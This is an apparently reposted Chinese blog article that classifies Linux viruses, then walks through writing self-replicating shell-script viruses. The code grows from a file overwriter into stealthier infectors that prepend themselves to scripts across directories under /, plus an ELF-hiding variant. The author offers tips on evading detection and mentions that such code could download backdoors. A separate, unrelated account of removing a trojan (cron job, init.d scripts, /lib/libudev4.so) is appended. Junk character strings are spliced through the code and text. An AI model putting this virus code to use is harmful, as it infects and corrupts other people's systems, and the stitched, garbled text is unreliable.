Linux系统平台下病毒种类主要有哪些

Linux系统平台下病毒种类主要有哪些,第1张

Linux系统平台下的病毒主要分为以下4类:

1、可执行文件型病毒,这个主要就是指能够寄生在文件中的以文件为主要感染对象的病毒。

2、蠕虫(worm)病毒,Linux平台下的蠕虫病毒极为猖獗,像利用系统漏洞进行传播的ramen、lion、Slapper等,这些病毒都感染了大量的Linux系统,造成了巨大的损失。

3、脚本病毒,这样的多为使用shell脚本语言编写的病毒,这类病毒编写较为简单,但破坏力却同样惊人,像以.sh结尾的脚本文件,一个短短数十行的shell脚本就可以在短时间内感染硬盘中所有的脚本文件。

4、后门程序,从增加系统超级用户帐号的简单后门,到利用系统服务加载、共享库文件注射、rootkit工具包,甚至可以装载内核模块(LKM)而产生的后门,Linux平台下的后门技术发展非常成熟,隐蔽性强,难以清除,已经成为Linux系统管理员极为头疼的问题。

来看一个最原始的shell病毒,代码最能说明问题:

---------------------------------------------------------

#shellvirus I

for file in *

do

 cp $0 $file

done

--------------------------------------------------------- . ]2 |0 y9 I* w5 a# ~: b7 M

简单吧?遍历当前文件系统的所有文件,然后覆盖所有文件.但是,我们知道linux是多用户的 *** 作系统,它的文件是具有

保护模式的,所以以上的脚本有可能会报出一大堆的错误,所以它很快就会被管理员发现并制止它的传染.所以我们可以 E1 c. c1 o0 J! K" g% t

为该脚本做个判断,这样隐蔽性就大大增强了: - l1 x* l1 h# D

--------------------------------------------------------- 8 E. nK- l1 S2 y6 P% ?

#shellvirus II

for file in * 0 n* r2 x5 f2 J_

do # _, o4 |3 ~- M! T" g7 m7 L5 S

  if test -f $file

  then

if test -x $file ) g* x* n! W0 Z( B4 G3 |

then ! E" y7 |( G3 Z+ ~9 t

if test -w $file

then

 if grep -s echo $file >.mmm

 then * o0 ?&x7 b! M5 n

 cp $0 $file @&P1 Y) {: P4 U$ ~

fififififi % ~' v' K% C! }* ^8 j7 O: M

done

rm .mmm -f + N- \" T# M1 w0 C

---------------------------------------------------------

ok.我们改进了一下,加了若干的判断,判断文件是否存在,是否文件可执行,是否我们有权限写,再判断它是否是脚本程序 2 D" v x% i' q&N

如果是就cp $0 $file,所以这段代码是感然该系统所有的脚本程序的,危害性还是比较大的.if grep -s echo $file>/.mmm

这句也可以这样写:if file $file | grep -s ‚Bourne shell script‚ >/dev/nul then,也就是判断file是否为shell

脚本程序. 8 I5 ^! _6 m- u) _2 {: G( \

  但是,脚本病毒一旦在感染完毕之后就什么也不做了,它没有象二进制病毒那样的潜伏的危害性,而且以上的脚本只是简

单的覆盖宿主而已,所以我这里利用了一下传统的二进制病毒的感染机制,效果也不错,看看下面代码:

--------------------------------------------------------- . [! l( n. @* b/ C- s5 a+ m

#infection

head -n 24 $0 >.test<-取自身保存到.test % I' L, W" o% f5 V9 u7 ~. y9 g

for file in *<-遍历文件系统 @&c6 ]+ @) D. s$ a# h0 d

do

 if test -f $file<-判断是否为文件 ) k7 ~7 p/ v* F&P7 z. N

 then

 if test -x $file<-判断文件是否可执行

 then / V6 h* K~: M! [3 D7 R0 G% K

  if test -w $file<-判断文件是否可写

  then % ^% Dy5 F% V" G

if grep -s echo $file >.mmm<-判断是否为脚本程序

then

  head -n 1 $file >.mm<-提取要感染的脚本程序的第一行

  if grep -s infection .mm >.mmm<-判断该文件是否已经被感染 A3 Z# g4 k% s$ H+ y8 {

  then

rm -f .mm<-已经被感染,则跳过

  else<-还未被感染 1 F f$ j% w5 N8 H C' H

cat $file >.SAVEE<-很熟悉吧?借用了传统的二进制文件的感染机制

cat .test >$file

cat .SAVEE >>$file

 fififififi

done

rm .test .SAVEE .mmm .mm -f 0 N+ ye' C* ]: r

-------------------------------------------------------- 9 h c4 E$ H. _9 j- D

程序的注解足以说明了,其实增加了潜伏的危害性,但还是特容易被发现,没办法的事情,shell脚本一般都是明文的,呵呵.不过

危害性已经相当大了.这段程序用了一个感染标志:infection来判断是否已经被感染,着在程序中可以反应出来. 5 @2 jM! {4 }' k8 I+ P

ok,为了使上面的代码不容易被发现,我必须优化它,最先考虑的肯定是精练代码:

-------------------------------------------------------- 3 e, o3 d, ^* |

#infection " Z8 o" S% `$ @. M1 Z _

for file in *  do

 if test -f $file &&test -x $file &&test -w $file then 4 v( L5 w3 K3 z) W" G/ ?

  if grep -s echo $file >/dev/nul then

head -n 1 $file >.mm

if grep -s infection .mm >/dev/nul then

 rm .mm -f else 2 j1 j$ e6 B* E6 G, k: Y. i

  cat $file >.SAVEE * u! D7 C( L/ y/ f) r( F% R2 w9 M: z0 l

  head -n 13 $0 >$file

  cat .SAVEE >>$file

fififi $ I8 X M&\&T! Q# j9 b4 u2 _

done

rm .SAVEE .mm -f " f# I. U1 G+ C% @ T) A

--------------------------------------------------------

现在只有两个临时文件的产生了,代码也被精简到了13行.当然可以完全用来把代码甚至写到1-2行,但这里我只是说明问题,就 4 s% P8 H( m/ A' [ d/ k&k

不写出来了.

好,我们看看,shell病毒还能做哪些有用的事情,有可能我们想感染别的目录的文件,比如根目录或者是/etc,/bin等等,因为大多 &Y) |4 H# |) b% A" w

数有用的系统配置脚本都存放在那些目录下,只要对上述代码稍作改动就可以实现了 % [! @( ]1 A$ R% n/ z

--------------------------------------------------------

#infection

xtemp=$pwd<-保存当前路径

head -n 22 $0 >/.test

for dir in /* do<-遍历/目录

if test -d $dir then<-如果是目录就cd该目录

 cd $dir

 for file in * do<-遍历该目录文件

  if test -f $file &&test -x $file &&test -w $file then<-确定文件是否可执行,可写

if grep -s echo $file >/dev/nul then<-确定是否为脚本程序

 head -n 1 $file >.mm

 if grep -s infection .mm >/dev/nul then<-确定是否已经被感染

  rm .mm -f else &s6 _! g8 h' w, B/ c/ |

cat $file >/.SAVEE<-和前面的感染机制一样感染未被感染的脚本程序 8 T( q&a% [' s

cat /.test >$file

cat /.SAVEE >>$file

  fififi $ R, l% c) y. f- I

 done - j7 l&Q3 j2 w7 H* _

 cd ..

fi

done &O( [: O9 L" E e( z\

cd $xtemp<-返回原目录

rm /.test /.SAVEE .mm -f ( _7 |' x. E: S. Z" s3 M

-------------------------------------------------------------

其实这段代码只感染了/目录下的一层目录.当然我们可以使它感染的更深,只是加几个循环而已.同样shell病毒可以做很多事情

如download后门程序,为机器自动开后门,主动去攻击联网的其他机器,取用户的email来发送传染等等.总之它的实现技术不高深,

但也比较实用,还是值得去说明一下的,呵呵.

同样,我们也可以感染elf文件,但危害性很小,这里不重点讲,给个例程大家理解一下吧

-------------------------------------------------------------

for file in *  do

 if test -f $file &&test -x $file &&test -w $file then J/ ?- ~# s% h[7 i6 @- f

  if file $file | grep -s ‚ELF‚ >/dev/nul then

mv $file .$file

head -n 9 $0 >$file

fifi

done 6 H* o% e: l9 e- X. Y' U! d j

.$0' ]% |# H8 ?/ F

方法/步骤

首先我们要先确定是哪台机器的网卡在向外发包,还好我们这边有zabbix监控,我就一台一台的检查,发现有一台的流量跑满了,问题应该出现在这台机器上面

我登录到机器里面,查看了一下网卡的流量,我的天啊,居然跑了这个多流量。

这台机器主要是运行了一个tomcat WEB服务和oracle数据库,问题不应该出现在WEB服务和数据库上面,我检查了一下WEB日志,没有发现什么异常,查看数据库也都正常,也没有什么错误日志,查看系统日志,也没有看到什么异常,我赶紧查看了一下目前运行的进程情况,看看有没有什么异常的进程,一查看,果然发现几个异常进程,不仔细看还真看不出来,这些进程都是不正常的。

这是个什么进程呢,我每次ps -ef都不一样,一直在变动,进程号一一直在变动中,我想看看进程打开了什么文件都行,一时无从下手,想到这里,我突然意识到这应该都是一些子进程,由一个主进程进行管理,所以看这些子进程是没有用的,即便我杀掉他们还会有新的生成,擒贼先擒王,我们去找一下主进程,我用top d1实时查看进程使用资源的情况,看看是不是有异常的进程占用cpu内存等资源,发现了一个奇怪的进程,平时没有见过。这个应该是我们寻找的木马主进程。

我尝试杀掉这个进程,killall -9 ueksinzina,可是杀掉之后ps -ef查看还是有那些子进程,难道没有杀掉?再次top d1查看,发现有出现了一个其他的主进程,看来杀是杀不掉的,要是那么容易杀掉就不是木马了。

可以看到里面有个定时任务gcc4.sh,这个不是我们设定的,查看一下内容更加奇怪了,这个应该是监听程序死掉后来启动的,我们这边把有关的配置全部删掉,并且删掉/lib/libudev4.so。

在/etc/init.d/目录下面也发现了这个文件。

里面的内容是开机启动的信息,这个我们也给删掉

到此为止,没有新的木马进程生成,原理上说是结束掉了木马程序,后面的工作就是要清楚这些目录产生的文件,经过我寻找,首先清除/etc/init.d目录下面产生的木马启动脚本,然后清楚/etc/rc#.d/目录下面的连接文件。

后来我查看/etc目录下面文件的修改时间,发现ssh目录下面也有一个新生成的文件,不知道是不是有问题的。清理差不多之后我们就要清理刚才生成的几个文件了,一个一个目录清楚,比如"chattr -i /tmp",然后删除木马文件,以此类推删除/bin、/usr/bin目录下面的木马,到此木马清理完毕。


欢迎分享,转载请注明来源:内存溢出

原文地址:https://54852.com/yw/7205748.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2023-04-02
下一篇2023-04-02

发表评论

登录后才能评论

评论列表(0条)

    保存